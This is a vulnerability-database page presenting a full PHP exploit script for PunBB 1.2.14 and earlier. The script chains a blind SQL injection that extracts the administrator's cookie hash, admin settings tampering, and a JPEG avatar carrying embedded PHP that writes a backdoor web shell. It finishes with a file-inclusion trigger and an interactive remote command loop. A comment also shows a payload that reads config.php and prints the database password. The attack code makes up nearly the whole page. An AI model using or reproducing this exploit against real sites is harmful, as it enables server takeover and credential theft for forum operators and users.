Lucene search
K

PunBB 1.2.14 Remote Code Execution Exploit

🗓️ 17 Apr 2007 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 38 Views

PunBB 1.2.14 Remote Code Execution Exploit PHP conditions URL Usage parameters Option

Code

                                                #!/usr/bin/php
<?php
error_reporting(E_ALL&nbsp;^&nbsp;E_NOTICE);

if($argc&nbsp;<&nbsp;7)
{
print(\"
-----------&nbsp;&nbsp;PunBB&nbsp;<=&nbsp;1.2.14&nbsp;Remote&nbsp;Code&nbsp;Execution&nbsp;Exploit&nbsp;&nbsp;-----------
-----------------------------------------------------------------------
PHP&nbsp;conditions:&nbsp;See&nbsp;www.acid-root.new.fr/advisories/13070411.txt
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Credits:&nbsp;DarkFig&nbsp;<[email protected]>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;URL:&nbsp;http://www.acid-root.new.fr/
-----------------------------------------------------------------------
&nbsp;&nbsp;Usage:&nbsp;$argv[0]&nbsp;-url&nbsp;<>&nbsp;-usr&nbsp;<>&nbsp;-pwd&nbsp;<>&nbsp;[Options]
&nbsp;Params:&nbsp;-url&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;For&nbsp;example&nbsp;http://victim.com/punBB/
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-usr&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;User&nbsp;account&nbsp;(1&nbsp;post&nbsp;at&nbsp;least)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-pwd&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Password&nbsp;account
Options:&nbsp;-uid&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Admin&nbsp;id&nbsp;(default=2)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-prefix&nbsp;&nbsp;&nbsp;&nbsp;Table&nbsp;prefix&nbsp;(default=none)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-proxy&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;If&nbsp;you&nbsp;wanna&nbsp;use&nbsp;a&nbsp;proxy&nbsp;<proxyhost:proxyport>&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-proxyauth&nbsp;Basic&nbsp;authentification&nbsp;<proxyuser:proxypwd>
-----------------------------------------------------------------------
\");exit(1);
}

$url&nbsp;=&nbsp;getparam(\'url\',1);
$usr&nbsp;=&nbsp;getparam(\'usr\',1);
$pwd&nbsp;=&nbsp;getparam(\'pwd\',1);
$uid&nbsp;=&nbsp;(getparam(\'uid\')!=\'\')&nbsp;?&nbsp;getparam(\'uid\')&nbsp;:&nbsp;2;
$pre&nbsp;=&nbsp;getparam(\'prefix\');
$prox=&nbsp;getparam(\'proxy\');
$proh=&nbsp;getparam(\'proxyauth\');

$xpl&nbsp;=&nbsp;new&nbsp;phpsploit();
$xpl->agent(\"Mozilla&nbsp;Firefox\");
if(!empty($prox))&nbsp;$xpl->addproxy($prox);
if(!empty($proh))&nbsp;$xpl->proxyauth($proh);

$xpl->cookiejar(1);
$xpl->post($url.\'login.php?action=in\',\"form_sent=1&redirect_url=x&req_username=$usr&req_password=$pwd&login=1\");

print&nbsp;\"\\nCookie&nbsp;hash:&nbsp;\";$cookie&nbsp;=&nbsp;blind($uid);
print&nbsp;\"\\nAdmin&nbsp;cookie:&nbsp;\".$cookie;

#&nbsp;Logged&nbsp;in&nbsp;as&nbsp;Administrator
$xpl->reset(\'cookie\');
$xpl->addcookie($cookie);

#&nbsp;Avatars&nbsp;dir&nbsp;->&nbsp;include/user
#&nbsp;Default&nbsp;options&nbsp;(french)
$data&nbsp;=
\'form_sent=1&form%5Bboard_title%5D=Mon+forum+punBB&form%5Bboar\'
.\'d_desc%5D=Malheureusement+personne+ne+peut+vous+dire+ce+que+\'
.\'PunBB+est+-+vous+devez+le+voir+par+vous-m%EAme.&form%5Bbase_\'
.\'url%5D=\'.urlencode(preg_replace(\"#(.*)/$#\",\"$1\",$url)).\'&form%5B\'
.\'server_timezone%5D=0&form%5Bdefault_lang%5D=English&form%5Bd\'
.\'efault_style%5D=Oxygen&form%5Btime_format%5D=H%3Ai%3As&form%\'
.\'5Bdate_format%5D=d-m-Y&form%5Btimeout_visit%5D=600&form%5Bti\'
.\'meout_online%5D=300&form%5Bredirect_delay%5D=1&form%5Bshow_v\'
.\'ersion%5D=0&form%5Bshow_user_info%5D=1&form%5Bshow_post_coun\'
.\'t%5D=1&form%5Bsmilies%5D=1&form%5Bsmilies_sig%5D=1&form%5Bma\'
.\'ke_links%5D=1&form%5Btopic_review%5D=15&form%5Bdisp_topics_d\'
.\'efault%5D=30&form%5Bdisp_posts_default%5D=25&form%5Bindent_n\'
.\'um_spaces%5D=4&form%5Bquickpost%5D=1&form%5Busers_online%5D=\'
.\'1&form%5Bcensoring%5D=0&form%5Branks%5D=1&form%5Bshow_dot%5D\'
.\'=0&form%5Bquickjump%5D=1&form%5Bgzip%5D=0&form%5Bsearch_all_\'
.\'forums%5D=1&form%5Badditional_navlinks%5D=&form%5Breport_met\'
.\'hod%5D=0&form%5Bregs_report%5D=0&form%5Bmailing_list%5D=gmda\'
.\'rkfig%40gmail.com&form%5Bavatars%5D=1&form%5Bavatars_dir%5D=\'
.\'include%2Fuser&form%5Bavatars_width%5D=60&form%5Bavatars_hei\'
.\'ght%5D=60&form%5Bavatars_size%5D=10240&form%5Badmin_email%5D\'
.\'=mysploiti%40gmail.com&form%5Bwebmaster_email%5D=mysploiti%4\'
.\'0gmail.com&form%5Bsubscriptions%5D=1&form%5Bsmtp_host%5D=&fo\'
.\'rm%5Bsmtp_user%5D=&form%5Bsmtp_pass%5D=&form%5Bregs_allow%5D\'
.\'=1&form%5Bregs_verify%5D=0&form%5Brules%5D=0&form%5Brules_me\'
.\'ssage%5D=Saisissez+vos+r%E8gles+ici.&form%5Bannouncement%5D=\'
.\'0&form%5Bannouncement_message%5D=Saisissez+votre+annonce+ici\'
.\'.&form%5Bmaintenance%5D=0&form%5Bmaintenance_message%5D=Les+\'
.\'forums+sont+temporairement+ferm%E9s+pour+des+raisons+de+main\'
.\'tenance.+Veuillez+essayer+%E0+nouveau+dans+quelques+minutes.\'
.\'%3Cbr+%2F%3E%0D%0A%3Cbr+%2F%3E%0D%0A%2FAdministrateur&save=+\'
.\'Enregistrer+\';

$xpl->addheader(\'Referer\',$url.\'admin_options.php\');
$xpl->post($url.\'admin_options.php?action=foo\',$data);


#&nbsp;Fake&nbsp;JPG&nbsp;1x1
#
#&nbsp;000000A2&nbsp;3C3F&nbsp;7068&nbsp;7020&nbsp;2468&nbsp;616E&nbsp;646C&nbsp;653D&nbsp;666F&nbsp;<?php&nbsp;$handle=fo
#&nbsp;000000B2&nbsp;7065&nbsp;6E28&nbsp;222E&nbsp;2F69&nbsp;6D67&nbsp;2F61&nbsp;7661&nbsp;7461&nbsp;pen(\"./img/avata
#&nbsp;000000C2&nbsp;7273&nbsp;2F62&nbsp;6163&nbsp;6B64&nbsp;6F6F&nbsp;722E&nbsp;7068&nbsp;7022&nbsp;rs/backdoor.php\"
#&nbsp;000000D2&nbsp;2C22&nbsp;7722&nbsp;293B&nbsp;2066&nbsp;7772&nbsp;6974&nbsp;6528&nbsp;2468&nbsp;,\"w\");&nbsp;fwrite($h
#&nbsp;000000E2&nbsp;616E&nbsp;646C&nbsp;652C&nbsp;273C&nbsp;3F70&nbsp;6870&nbsp;2069&nbsp;6628&nbsp;andle,\'<?php&nbsp;if(
#&nbsp;000000F2&nbsp;6973&nbsp;7365&nbsp;7428&nbsp;245F&nbsp;5345&nbsp;5256&nbsp;4552&nbsp;5B22&nbsp;isset($_SERVER[\"
#&nbsp;00000102&nbsp;4854&nbsp;5450&nbsp;5F53&nbsp;4845&nbsp;4C4C&nbsp;225D&nbsp;2929&nbsp;2040&nbsp;HTTP_SHELL\"]))&nbsp;@
#&nbsp;00000112&nbsp;6576&nbsp;616C&nbsp;2824&nbsp;5F53&nbsp;4552&nbsp;5645&nbsp;525B&nbsp;2248&nbsp;eval($_SERVER[\"H
#&nbsp;00000122&nbsp;5454&nbsp;505F&nbsp;5348&nbsp;454C&nbsp;4C22&nbsp;5D29&nbsp;3B20&nbsp;3F3E&nbsp;TTP_SHELL\"]);&nbsp;?\\>
#&nbsp;00000132&nbsp;2729&nbsp;3B20&nbsp;6663&nbsp;6C6F&nbsp;7365&nbsp;2824&nbsp;6861&nbsp;6E64&nbsp;\');&nbsp;fclose($hand
#&nbsp;00000142&nbsp;6C65&nbsp;293B&nbsp;203F&nbsp;3E&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;le);&nbsp;?\\>&nbsp;&nbsp;&nbsp;&nbsp;
$avatar&nbsp;=
\"\\xFF\\xD8\\xFF\\xE0\\x00\\x10\\x4A\\x46\\x49\\x46\\x00\\x01\\x01\\x01\\x00\\x60\"
.\"\\x00\\x60\\x00\\x00\\xFF\\xDB\\x00\\x43\\x00\\x08\\x06\\x06\\x07\\x06\\x05\"
.\"\\x08\\x07\\x07\\x07\\x09\\x09\\x08\\x0A\\x0C\\x14\\x0D\\x0C\\x0B\\x0B\\x0C\"
.\"\\x19\\x12\\x13\\x0F\\x14\\x1D\\x1A\\x1F\\x1E\\x1D\\x1A\\x1C\\x1C\\x20\\x24\"
.\"\\x2E\\x27\\x20\\x22\\x2C\\x23\\x1C\\x1C\\x28\\x37\\x29\\x2C\\x30\\x31\\x34\"
.\"\\x34\\x34\\x1F\\x27\\x39\\x3D\\x38\\x32\\x3C\\x2E\\x33\\x34\\x32\\xFF\\xDB\"
.\"\\x00\\x43\\x01\\x09\\x09\\x09\\x0C\\x0B\\x0C\\x18\\x0D\\x0D\\x18\\x32\\x21\"
.\"\\x1C\\x21\\x32\\x32\\x32\\x32\\x32\\x32\\x32\\x32\\x32\\x32\\x32\\x32\\x32\"
.\"\\x32\\x32\\x32\\x32\\x32\\x32\\x32\\x32\\x32\\x32\\x32\\x32\\x32\\x32\\x32\"
.\"\\x32\\x32\\x32\\x32\\x32\\x32\\x32\\x32\\x32\\x32\\x32\\x32\\x32\\x32\\x32\"
.\"\\x32\\x32\\x32\\x32\\x32\\x32\\x32\\xFF\\xFE\\x00\\xA9\\x3C\\x3F\\x70\\x68\"
.\"\\x70\\x20\\x24\\x68\\x61\\x6E\\x64\\x6C\\x65\\x3D\\x66\\x6F\\x70\\x65\\x6E\"
.\"\\x28\\x22\\x2E\\x2F\\x69\\x6D\\x67\\x2F\\x61\\x76\\x61\\x74\\x61\\x72\\x73\"
.\"\\x2F\\x62\\x61\\x63\\x6B\\x64\\x6F\\x6F\\x72\\x2E\\x70\\x68\\x70\\x22\\x2C\"
.\"\\x22\\x77\\x22\\x29\\x3B\\x20\\x66\\x77\\x72\\x69\\x74\\x65\\x28\\x24\\x68\"
.\"\\x61\\x6E\\x64\\x6C\\x65\\x2C\\x27\\x3C\\x3F\\x70\\x68\\x70\\x20\\x69\\x66\"
.\"\\x28\\x69\\x73\\x73\\x65\\x74\\x28\\x24\\x5F\\x53\\x45\\x52\\x56\\x45\\x52\"
.\"\\x5B\\x22\\x48\\x54\\x54\\x50\\x5F\\x53\\x48\\x45\\x4C\\x4C\\x22\\x5D\\x29\"
.\"\\x29\\x20\\x40\\x65\\x76\\x61\\x6C\\x28\\x24\\x5F\\x53\\x45\\x52\\x56\\x45\"
.\"\\x52\\x5B\\x22\\x48\\x54\\x54\\x50\\x5F\\x53\\x48\\x45\\x4C\\x4C\\x22\\x5D\"
.\"\\x29\\x3B\\x20\\x3F\\x3E\\x27\\x29\\x3B\\x20\\x66\\x63\\x6C\\x6F\\x73\\x65\"
.\"\\x28\\x24\\x68\\x61\\x6E\\x64\\x6C\\x65\\x29\\x3B\\x20\\x3F\\x3E\\xFF\\xC0\"
.\"\\x00\\x11\\x08\\x00\\x01\\x00\\x01\\x03\\x01\\x22\\x00\\x02\\x11\\x01\\x03\"
.\"\\x11\\x01\\xFF\\xC4\\x00\\x1F\\x00\\x00\\x01\\x05\\x01\\x01\\x01\\x01\\x01\"
.\"\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x02\\x03\\x04\\x05\\x06\"
.\"\\x07\\x08\\x09\\x0A\\x0B\\xFF\\xC4\\x00\\xB5\\x10\\x00\\x02\\x01\\x03\\x03\"
.\"\\x02\\x04\\x03\\x05\\x05\\x04\\x04\\x00\\x00\\x01\\x7D\\x01\\x02\\x03\\x00\"
.\"\\x04\\x11\\x05\\x12\\x21\\x31\\x41\\x06\\x13\\x51\\x61\\x07\\x22\\x71\\x14\"
.\"\\x32\\x81\\x91\\xA1\\x08\\x23\\x42\\xB1\\xC1\\x15\\x52\\xD1\\xF0\\x24\\x33\"
.\"\\x62\\x72\\x82\\x09\\x0A\\x16\\x17\\x18\\x19\\x1A\\x25\\x26\\x27\\x28\\x29\"
.\"\\x2A\\x34\\x35\\x36\\x37\\x38\\x39\\x3A\\x43\\x44\\x45\\x46\\x47\\x48\\x49\"
.\"\\x4A\\x53\\x54\\x55\\x56\\x57\\x58\\x59\\x5A\\x63\\x64\\x65\\x66\\x67\\x68\"
.\"\\x69\\x6A\\x73\\x74\\x75\\x76\\x77\\x78\\x79\\x7A\\x83\\x84\\x85\\x86\\x87\"
.\"\\x88\\x89\\x8A\\x92\\x93\\x94\\x95\\x96\\x97\\x98\\x99\\x9A\\xA2\\xA3\\xA4\"
.\"\\xA5\\xA6\\xA7\\xA8\\xA9\\xAA\\xB2\\xB3\\xB4\\xB5\\xB6\\xB7\\xB8\\xB9\\xBA\"
.\"\\xC2\\xC3\\xC4\\xC5\\xC6\\xC7\\xC8\\xC9\\xCA\\xD2\\xD3\\xD4\\xD5\\xD6\\xD7\"
.\"\\xD8\\xD9\\xDA\\xE1\\xE2\\xE3\\xE4\\xE5\\xE6\\xE7\\xE8\\xE9\\xEA\\xF1\\xF2\"
.\"\\xF3\\xF4\\xF5\\xF6\\xF7\\xF8\\xF9\\xFA\\xFF\\xC4\\x00\\x1F\\x01\\x00\\x03\"
.\"\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x00\"
.\"\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08\\x09\\x0A\\x0B\\xFF\\xC4\\x00\\xB5\"
.\"\\x11\\x00\\x02\\x01\\x02\\x04\\x04\\x03\\x04\\x07\\x05\\x04\\x04\\x00\\x01\"
.\"\\x02\\x77\\x00\\x01\\x02\\x03\\x11\\x04\\x05\\x21\\x31\\x06\\x12\\x41\\x51\"
.\"\\x07\\x61\\x71\\x13\\x22\\x32\\x81\\x08\\x14\\x42\\x91\\xA1\\xB1\\xC1\\x09\"
.\"\\x23\\x33\\x52\\xF0\\x15\\x62\\x72\\xD1\\x0A\\x16\\x24\\x34\\xE1\\x25\\xF1\"
.\"\\x17\\x18\\x19\\x1A\\x26\\x27\\x28\\x29\\x2A\\x35\\x36\\x37\\x38\\x39\\x3A\"
.\"\\x43\\x44\\x45\\x46\\x47\\x48\\x49\\x4A\\x53\\x54\\x55\\x56\\x57\\x58\\x59\"
.\"\\x5A\\x63\\x64\\x65\\x66\\x67\\x68\\x69\\x6A\\x73\\x74\\x75\\x76\\x77\\x78\"
.\"\\x79\\x7A\\x82\\x83\\x84\\x85\\x86\\x87\\x88\\x89\\x8A\\x92\\x93\\x94\\x95\"
.\"\\x96\\x97\\x98\\x99\\x9A\\xA2\\xA3\\xA4\\xA5\\xA6\\xA7\\xA8\\xA9\\xAA\\xB2\"
.\"\\xB3\\xB4\\xB5\\xB6\\xB7\\xB8\\xB9\\xBA\\xC2\\xC3\\xC4\\xC5\\xC6\\xC7\\xC8\"
.\"\\xC9\\xCA\\xD2\\xD3\\xD4\\xD5\\xD6\\xD7\\xD8\\xD9\\xDA\\xE2\\xE3\\xE4\\xE5\"
.\"\\xE6\\xE7\\xE8\\xE9\\xEA\\xF2\\xF3\\xF4\\xF5\\xF6\\xF7\\xF8\\xF9\\xFA\\xFF\"
.\"\\xDA\\x00\\x0C\\x03\\x01\\x00\\x02\\x11\\x03\\x11\\x00\\x3F\\x00\\xF7\\xFA\"
.\"\\x28\\xA2\\x80\\x3F\\xFF\\xD9\";

#&nbsp;Upload
$formdata&nbsp;=&nbsp;array(frmdt_url&nbsp;=>&nbsp;$url.\'profile.php?action=upload_avatar2&id=\'.$uid,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\'form_sent\'&nbsp;=>&nbsp;\'1\',
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\'MAX_FILE_SIZE\'&nbsp;=>&nbsp;\'10240\',
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\'upload\'&nbsp;=>&nbsp;\'T鬩charger\',
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\'req_file\'&nbsp;=>&nbsp;array(frmdt_filename&nbsp;=>&nbsp;\'pic.jpg\',
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;frmdt_type&nbsp;=>&nbsp;\'image/jpeg\',
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;frmdt_content&nbsp;=>&nbsp;$avatar));

$xpl->addheader(\'Referer\',$url.\'profile.php\');
$xpl->formdata($formdata);

#&nbsp;File&nbsp;inclusion
$xpl->addheader(\'Referer\',$url.\"misc.php\\\"><pun_include&nbsp;\\\"$uid.jpg\\\">\");
$xpl->get($url.\'misc.php?email=\'.$uid);
print&nbsp;\"\\nThe&nbsp;php&nbsp;code&nbsp;shoulb&nbsp;be&nbsp;executed\\n\\$shell>&nbsp;\";

#&nbsp;Hello&nbsp;
while(!preg_match(\"#^(quit|exit)$#\",($cmd&nbsp;=&nbsp;trim(fgets(STDIN)))))
{
&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;\');include(\'../../config.php\');print&nbsp;$db_password;//
&nbsp;&nbsp;&nbsp;&nbsp;$xpl->addheader(\'Shell\',\"system(\'$cmd\');\");
&nbsp;&nbsp;&nbsp;&nbsp;$xpl->get($url.\'img/avatars/backdoor.php\');
&nbsp;&nbsp;&nbsp;&nbsp;print&nbsp;$xpl->getcontent().\"\\n\\$shell>&nbsp;\";
}

function&nbsp;blind($id)
{
	global&nbsp;$xpl,$url,$usr,$pre;
	
	preg_match(\"#^(\\S*)=(\\S*);#\",$xpl->showcookie(),$cookies);
	$name=$cookies[1].\"=\";
	$string=\"a:2:{i:0;s:1:\\\"$id\\\";i:1;s:32:\\\"\";
	
	for($i=1;$i<=32;$i++)
	{
		$charset&nbsp;=&nbsp;\'0123456789abcdef\';
		for($a=0;$a<=strlen($charset);$a++)
		{
			#&nbsp;Search&nbsp;cache
			$searchd&nbsp;=&nbsp;\'search.php?action=search&keywords=*****&author=\'
			&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.$usr.\'&forum=-1&search_in=all&sort_by=0&sort_dir=DESC&show_as=topics&search=1\';
			$xpl->get($url.$searchd);

			#&nbsp;Cookie&nbsp;hash
			$sql&nbsp;=&nbsp;\'ORD(SUBSTR((\'
			&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.\'SELECT&nbsp;MD5(\'
			&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.\'CONCAT(\'
			&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.\'SUBSTR(\'
			&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.\'MD5(\'
			&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;Cookie&nbsp;seed
			&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.\'(SELECT&nbsp;registered&nbsp;FROM&nbsp;\'.$pre.\'users&nbsp;WHERE&nbsp;LENGTH(registered)=10\'
			&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.\'&nbsp;ORDER&nbsp;BY&nbsp;registered&nbsp;LIMIT&nbsp;1)),-8),\'
			&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;Hashed&nbsp;password
			&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.\'(SELECT&nbsp;password&nbsp;FROM&nbsp;\'.$pre.\'users&nbsp;WHERE&nbsp;id=\'.$id.\')))),\'.$i.\',1))=ORD(CHAR(\'.ord($charset[$a]).\'))&nbsp;#\';
			&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
			#&nbsp;SQL&nbsp;Injection
			$xpl->post($url.\'search.php?action=show_new\',\'search_id=-1&nbsp;OR&nbsp;\'.$sql.\'&1986084953=1&-1234899993=1\');
			
			#&nbsp;True
			if(preg_match(\'#<th&nbsp;class=\"tcr\"&nbsp;scope=\"col\">#\',$xpl->getcontent()))
			{
				print&nbsp;$charset[$a];
				$string&nbsp;.=&nbsp;$charset[$a];
				break;
			}
		}
	}
	return&nbsp;$name.urlencode($string.\'\";}\');
}

function&nbsp;getparam($param,$opt=\'\')
{
	global&nbsp;$argv;
	foreach($argv&nbsp;as&nbsp;$value&nbsp;=>&nbsp;$key)
	{
		if($key&nbsp;==&nbsp;\'-\'.$param)&nbsp;return&nbsp;$argv[$value+1];
	}
	if($opt)&nbsp;exit(\"\\n#3&nbsp;-$param&nbsp;parameter&nbsp;required\");
	else&nbsp;return;
}

/*
&nbsp;*&nbsp;
&nbsp;*&nbsp;Copyright&nbsp;(C)&nbsp;darkfig
&nbsp;*&nbsp;
&nbsp;*&nbsp;This&nbsp;program&nbsp;is&nbsp;free&nbsp;software;&nbsp;you&nbsp;can&nbsp;redistribute&nbsp;it&nbsp;and/or&nbsp;
&nbsp;*&nbsp;modify&nbsp;it&nbsp;under&nbsp;the&nbsp;terms&nbsp;of&nbsp;the&nbsp;GNU&nbsp;General&nbsp;Public&nbsp;License&nbsp;
&nbsp;*&nbsp;as&nbsp;published&nbsp;by&nbsp;the&nbsp;Free&nbsp;Software&nbsp;Foundation;&nbsp;either&nbsp;version&nbsp;2&nbsp;
&nbsp;*&nbsp;of&nbsp;the&nbsp;License,&nbsp;or&nbsp;(at&nbsp;your&nbsp;option)&nbsp;any&nbsp;later&nbsp;version.&nbsp;
&nbsp;*&nbsp;
&nbsp;*&nbsp;This&nbsp;program&nbsp;is&nbsp;distributed&nbsp;in&nbsp;the&nbsp;hope&nbsp;that&nbsp;it&nbsp;will&nbsp;be&nbsp;useful,&nbsp;
&nbsp;*&nbsp;but&nbsp;WITHOUT&nbsp;ANY&nbsp;WARRANTY;&nbsp;without&nbsp;even&nbsp;the&nbsp;implied&nbsp;warranty&nbsp;of&nbsp;
&nbsp;*&nbsp;MERCHANTABILITY&nbsp;or&nbsp;FITNESS&nbsp;FOR&nbsp;A&nbsp;PARTICULAR&nbsp;PURPOSE.&nbsp;&nbsp;See&nbsp;the&nbsp;
&nbsp;*&nbsp;GNU&nbsp;General&nbsp;Public&nbsp;License&nbsp;for&nbsp;more&nbsp;details.&nbsp;
&nbsp;*&nbsp;
&nbsp;*&nbsp;You&nbsp;should&nbsp;have&nbsp;received&nbsp;a&nbsp;copy&nbsp;of&nbsp;the&nbsp;GNU&nbsp;General&nbsp;Public&nbsp;License&nbsp;
&nbsp;*&nbsp;along&nbsp;with&nbsp;this&nbsp;program;&nbsp;if&nbsp;not,&nbsp;write&nbsp;to&nbsp;the&nbsp;Free&nbsp;Software&nbsp;
&nbsp;*&nbsp;Foundation,&nbsp;Inc.,&nbsp;59&nbsp;Temple&nbsp;Place&nbsp;-&nbsp;Suite&nbsp;330,&nbsp;Boston,&nbsp;MA&nbsp;&nbsp;02111-1307,&nbsp;USA.
&nbsp;*&nbsp;
&nbsp;*&nbsp;TITLE:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;PhpSploit&nbsp;Class
&nbsp;*&nbsp;REQUIREMENTS:&nbsp;&nbsp;&nbsp;PHP&nbsp;5&nbsp;(remove&nbsp;\"private\",&nbsp;\"public\"&nbsp;if&nbsp;you&nbsp;have&nbsp;PHP&nbsp;4)
&nbsp;*&nbsp;VERSION:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;1.2
&nbsp;*&nbsp;LICENSE:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;GNU&nbsp;General&nbsp;Public&nbsp;License
&nbsp;*&nbsp;ORIGINAL&nbsp;URL:&nbsp;&nbsp;&nbsp;http://www.acid-root.new.fr/tools/03061230.txt
&nbsp;*&nbsp;FILENAME:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;phpsploitclass.php
&nbsp;*
&nbsp;*&nbsp;CONTACT:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;[email protected]&nbsp;(french&nbsp;/&nbsp;english)
&nbsp;*&nbsp;GREETZ:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Sparah,&nbsp;Ddx39
&nbsp;*
&nbsp;*&nbsp;DESCRIPTION:
&nbsp;*&nbsp;The&nbsp;phpsploit&nbsp;is&nbsp;a&nbsp;class&nbsp;implementing&nbsp;a&nbsp;web&nbsp;user&nbsp;agent.
&nbsp;*&nbsp;You&nbsp;can&nbsp;add&nbsp;cookies,&nbsp;headers,&nbsp;use&nbsp;a&nbsp;proxy&nbsp;server&nbsp;with&nbsp;(or&nbsp;without)&nbsp;a
&nbsp;*&nbsp;basic&nbsp;authentification.&nbsp;It&nbsp;supports&nbsp;the&nbsp;GET&nbsp;and&nbsp;the&nbsp;POST&nbsp;method.&nbsp;It&nbsp;can
&nbsp;*&nbsp;also&nbsp;be&nbsp;used&nbsp;like&nbsp;a&nbsp;browser&nbsp;with&nbsp;the&nbsp;cookiejar()&nbsp;function&nbsp;(which&nbsp;allow
&nbsp;*&nbsp;a&nbsp;server&nbsp;to&nbsp;add&nbsp;several&nbsp;cookies&nbsp;for&nbsp;the&nbsp;next&nbsp;requests)&nbsp;and&nbsp;the
&nbsp;*&nbsp;allowredirection()&nbsp;function&nbsp;(which&nbsp;allow&nbsp;the&nbsp;script&nbsp;to&nbsp;follow&nbsp;all
&nbsp;*&nbsp;redirections&nbsp;sent&nbsp;by&nbsp;the&nbsp;server).&nbsp;It&nbsp;can&nbsp;return&nbsp;the&nbsp;content&nbsp;(or&nbsp;the
&nbsp;*&nbsp;headers)&nbsp;of&nbsp;the&nbsp;request.&nbsp;Others&nbsp;useful&nbsp;functions&nbsp;can&nbsp;be&nbsp;used&nbsp;for&nbsp;debugging.
&nbsp;*&nbsp;A&nbsp;manual&nbsp;is&nbsp;actually&nbsp;in&nbsp;development&nbsp;but&nbsp;to&nbsp;know&nbsp;how&nbsp;to&nbsp;use&nbsp;it,&nbsp;you&nbsp;can
&nbsp;*&nbsp;read&nbsp;the&nbsp;comments.
&nbsp;*
&nbsp;*&nbsp;CHANGELOG:
&nbsp;*&nbsp;[2007-01-24]&nbsp;(1.2)
&nbsp;*&nbsp;&nbsp;*&nbsp;Bug&nbsp;#2&nbsp;fixed:&nbsp;Problem&nbsp;concerning&nbsp;the&nbsp;getcookie()&nbsp;function&nbsp;((|;))
&nbsp;*&nbsp;&nbsp;*&nbsp;New:&nbsp;multipart/form-data&nbsp;enctype&nbsp;is&nbsp;now&nbsp;supported&nbsp;
&nbsp;*
&nbsp;*&nbsp;[2006-12-31]&nbsp;(1.1)
